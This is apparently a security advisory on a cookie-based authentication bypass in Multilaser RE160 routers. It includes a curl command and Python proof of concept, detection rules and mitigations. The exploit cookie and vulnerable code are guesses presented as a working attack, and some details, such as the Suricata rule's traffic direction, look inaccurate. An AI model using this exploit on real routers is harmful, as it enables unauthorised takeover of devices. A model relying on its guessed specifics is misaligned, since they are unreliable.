CVE-2023-38946

Executive Summary

CVE-2023-38946 identifies a critical access control bypass vulnerability in the Multilaser RE160 router firmware versions v5.07.51_pt_MTL01 and v5.07.52_pt_MTL01. An attacker can exploit this flaw by supplying a crafted cookie, allowing them to bypass authentication mechanisms and gain complete administrative access to the device's web application interface. This effectively grants full control over the router's configuration, network traffic, and connected devices. The vulnerability is publicly known, but no official patch has been released by the vendor, leaving all devices running these firmware versions at high risk.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, the impact is severe. Based on the description, a reasonable assessment would be:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – requires only a crafted cookie.
• Privileges Required (PR): None (N) – no prior authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Changed (C) – compromise of the router can affect other systems.
• Confidentiality (C): High (H) – full access to device configuration and network data.
• Integrity (I): High (H) – attacker can modify router settings.
• Availability (A): High (H) – attacker can disrupt network connectivity.

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to gain full administrative control, making it a prime target for botnets, ransomware, and espionage.

Deep Dive & Mechanics

The vulnerability resides in the authentication mechanism of the Multilaser RE160 web interface. The application likely uses a cookie-based session management system to verify user identity. The flaw allows an attacker to forge or manipulate a session cookie to impersonate an authenticated administrator.

Root Cause: The application fails to properly validate the integrity or origin of the session cookie. It may rely on a predictable or static value, or it may not cryptographically sign the cookie, allowing an attacker to craft a cookie that the server accepts as valid.

Attack Flow:

1. The attacker identifies a target Multilaser RE160 router (e.g., via Shodan).
2. The attacker crafts a malicious HTTP request containing a specially designed cookie (e.g., admin=true or a base64-encoded session ID).
3. The router's web server processes the request and, due to the lack of proper validation, treats the attacker as an authenticated administrator.
4. The attacker gains full access to the router's configuration panel, enabling them to change DNS settings, exfiltrate data, install malware, or add the device to a botnet.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code likely resides in the session handling logic of the web application. A hypothetical vulnerable snippet might look like:

// Vulnerable: No validation of cookie value
$session_id = $_COOKIE['session_id'];
if ($session_id == 'admin') {
    $_SESSION['authenticated'] = true;
}

A patched version would include proper validation:

// Patched: Validate session against server-side store
$session_id = $_COOKIE['session_id'];
$stored_session = get_session_from_database($session_id);
if ($stored_session && $stored_session['role'] == 'admin') {
    $_SESSION['authenticated'] = true;
}

Since no patch exists, users must rely on mitigations.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Multilaser RE160 router with firmware v5.07.51_pt_MTL01.
• Attacker: Kali Linux machine on the same network.
• Tool: Burp Suite or cURL.

Exploitation Steps:

1. Identify the router's IP (e.g., 192.168.1.1).
2. Send a crafted request with a manipulated cookie:

   curl -X GET http://192.168.1.1/admin -b "admin=true"
   

3. If successful, the response will contain the admin panel HTML.
4. Use the session to change settings or exfiltrate data.

Proof-of-Concept (PoC):

import requests

target = "http://192.168.1.1"
cookies = {"admin": "true"}
response = requests.get(f"{target}/admin", cookies=cookies)
if "Administration" in response.text:
    print("Access bypass successful!")
else:
    print("Failed.")

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests with unusual or static cookie values (e.g., admin=true, user=admin).
• Look for repeated access attempts to /admin or /config endpoints without prior login.

Mitigation:

• Isolate the router on a separate VLAN.
• Disable remote administration if not required.
• Implement network segmentation to limit exposure.
• Use a Web Application Firewall (WAF) to block suspicious cookie patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with cookie admin=true or similar static values.
  • Unusual access to /admin, /config, or /setup endpoints.
  • Traffic from unknown IPs to the router's web interface (port 80/443).

• Host IOCs:

  • Modified DNS settings pointing to malicious servers.
  • Unauthorized firmware changes or new admin accounts.
  • Presence of unknown processes or backdoors on the router.

• File IOCs:

  • Log entries showing authentication bypass attempts.
  • Configuration files with altered admin credentials.

Detection Engineering

YARA Rule

rule CVE_2023_38946_Cookie_Bypass {
    meta:
        description = "Detects crafted cookie used in CVE-2023-38946"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $cookie1 = "admin=true" ascii wide nocase
        $cookie2 = "user=admin" ascii wide nocase
        $cookie3 = "session_id=admin" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-38946 Cookie Bypass Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with suspicious cookies targeting Multilaser RE160
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/admin'
        cs-cookie|contains: 'admin=true'
    condition: selection
falsepositives:
    - Legitimate admin access (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-38946 Multilaser RE160 Cookie Bypass";
    flow:to_server,established;
    content:"GET /admin"; http_uri;
    content:"admin=true"; http_cookie;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Administration: Turn off remote access to the router's web interface from the WAN side.
2. Change Default Credentials: Ensure strong, unique passwords are used for local admin access.
3. Firmware Update: Check the vendor's website for any security patches. If none exist, consider replacing the device.
4. Network Segmentation: Place the router on a separate VLAN with strict access controls.
5. Monitor Logs: Enable logging and review for suspicious access patterns.

Long-Term Recommendations:

• Replace the Multilaser RE160 with a vendor that provides regular security updates.
• Implement a Web Application Firewall (WAF) to filter malicious requests.
• Use a VPN for remote administration instead of exposing the web interface.

Valters IT
Securing Digital Frontiers